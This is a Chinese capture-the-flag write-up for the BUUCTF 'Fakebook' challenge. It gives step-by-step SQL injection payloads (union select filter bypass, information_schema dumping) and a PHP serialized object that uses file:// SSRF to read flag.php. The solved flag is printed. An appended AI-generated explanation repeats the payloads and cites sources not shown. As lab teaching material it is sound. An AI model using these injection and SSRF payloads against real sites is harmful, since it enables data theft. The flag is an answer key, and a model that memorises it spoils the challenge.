[网鼎杯 2018]Fakebook 1

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


题目

BUUCTF的[网鼎杯 2018]Fakebook 1
在这里插入图片描述


一、做题步骤

1.收集信息

1.创建用户
在这里插入图片描述
2.登录
在这里插入图片描述
3.点击用户名,进入新页面
在这里插入图片描述
观察网址,这是一道注入的题目

2.测试

1.测试注入列数
说明注入列数为4

在这里插入图片描述
在这里插入图片描述

2.测试注入点
union select 被过滤
在这里插入图片描述替代
union/**/select
union all select

?no=0 union all select 1,2,3, 4 %23

2是注入点在这里插入图片描述

3.注入

1.爆数据库

?no=0 union all select 1,group_concat(schema_name),3, 4 from
information_schema.schemata %23

在这里插入图片描述

2.爆表名

?no=0 union all select 1,group_concat(table_name),3, 4 from
information_schema.tables where table_schema=‘fakebook’ #

在这里插入图片描述

3.爆字段

?no=0 union all select 1,group_concat(column_name),3, 4 from
information_schema.columns where table_name=‘users’ #

在这里插入图片描述
4.爆数据

?no=0 union all select 1,group_concat(data),3, 4 from fakebook.users #

在这里插入图片描述在这里插入图片描述
5.看到很多地方都提到了 /var/www/html/view.php
在这里插入图片描述
6.构造序列化结果
data中的数据

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";} 

进行修改

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";} 

因为修改的部分是blog,因此将序列化结果放置在注入点4中

?no=0 union all select 1,group_concat(data),3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from fakebook.users #

在这里插入图片描述

4.获取flag

1.查看最终页面的源代码,发现有base64密文
在这里插入图片描述2.解密该密文,或者直接点击该链接
获取flag{40e95ede-4d22-46b4-b71c-3f407d674ab5}
在这里插入图片描述

<think>好的,用户提到Fakebook,看起来可能与CTF题目有关,特别是2018的题目。用户引用了多个涉及SQL注入、PHP反序列化和SSRF的内容。首先,我需要整理这些引用中的关键点。 首先,引用[2]和[3]指出存在SQL注入点,使用union select进行注入,并且过滤了空格,需要用/**/代替。然后,通过构造特定的Payload,利用PHP反序列化漏洞,将UserInfo对象的blog属性设置为file://协议,触发SSRF读取服务器上的flag.php文件。引用[5]中的Payload示例进一步验证了这个方法。 用户可能在询问如何解决这个CTF题目,或者想了解相关的漏洞利用方法。需要分步骤解释漏洞的发现和利用过程,包括如何确定注入点、绕过过滤、构造Payload以及结合反序列化和SSRF获取flag。同时,根据用户提供的引用,确保回答的准确性,并正确标注引用来源。 最后,生成的相关问题需要围绕SQL注入、反序列化、SSRF以及该题目的其他可能解法,帮助用户深入理解每个步骤的原理和相关技术。</think>### Fakebook漏洞分析与利用(2018) 根据提供的参考资料,该题目主要涉及SQL注入、PHP反序列化、SSRF(服务端请求伪造)的综合利用,以下是关键分析步骤: --- #### 1. **漏洞发现** - **注入点定位**:通过参数`?no=1`发现存在数字型SQL注入,使用`?no=0++order++by++4--+`确认字段数为4[^2] - **过滤绕过**:对空格进行过滤,可用`/**/`或`++`代替,如`union/**/select`构造注入语句[^3] --- #### 2. **漏洞利用** **Step 1 - 报错注入验证** ```sql ?no=0/**/union/**/select+updatexml(1,concat(0x7e,database()),1),2,3,4--+ ``` 通过报错信息可获取数据库名`fakebook`[^3] **Step 2 - 联合查询构造** ```sql ?no=-1/**/union/**/select+1,2,3,4--+ ``` 确认回显位置后,替换有效字段为数据查询结果[^5] **Step 3 - 反序列化+SSRF** 构造包含`file://`协议的PHP序列化对象: ```php O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} ``` 通过SQL注入将该对象写入查询结果: ```sql ?no=-1/**/union/**/select+1,2,3,'<序列化字符串>'--+ ``` 触发反序列化后,`blog`属性会通过`file://`协议读取服务器本地的flag.php文件 --- #### 3. **技术原理** - **SQL注入**:利用`UNION SELECT`合并恶意查询结果 - **PHP反序列化**:`UserInfo`类实例化时自动加载`blog`属性 - **SSRF**:`file://`协议绕过络限制访问本地文件[^4] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值